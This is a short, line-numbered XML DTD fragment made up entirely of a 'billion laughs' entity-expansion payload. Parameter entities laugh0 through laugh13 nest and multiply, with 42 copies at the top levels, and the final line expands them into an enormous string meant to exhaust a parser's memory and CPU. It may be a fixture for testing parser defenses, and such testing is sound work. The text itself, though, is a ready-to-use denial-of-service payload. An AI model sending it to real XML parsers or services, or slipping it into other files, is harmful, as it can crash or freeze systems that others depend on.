1 <!ELEMENT billion (#PCDATA)> 2 <!ENTITY % laugh0 "<!-- Ha ! -->"> 3 <!ENTITY % laugh1 "%laugh0;%laugh0;"> 4 <!ENTITY % laugh2 "%laugh1;%laugh1;"> 5 <!ENTITY % laugh3 "%laugh2;%laugh2;"> 6 <!ENTITY % laugh4 "%laugh3;%laugh3;"> 7 <!ENTITY % laugh5 "%laugh4;%laugh4;"> 8 <!ENTITY % laugh6 "%laugh5;%laugh5;"> 9 <!ENTITY % laugh7 "%laugh6;%laugh6;"> 10 <!ENTITY % laugh8 "%laugh7;%laugh7;"> 11 <!ENTITY % laugh9 "%laugh8;%laugh8;"> 12 <!ENTITY % laugh10 "%laugh9;%laugh9;"> 13 <!ENTITY % laugh11 14 "%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;%laugh10;"> 15 <!ENTITY % laugh12 16 "%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;%laugh11;"> 17 <!ENTITY % laugh13 18 "%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;%laugh12;"> 19 %laugh13; 20 21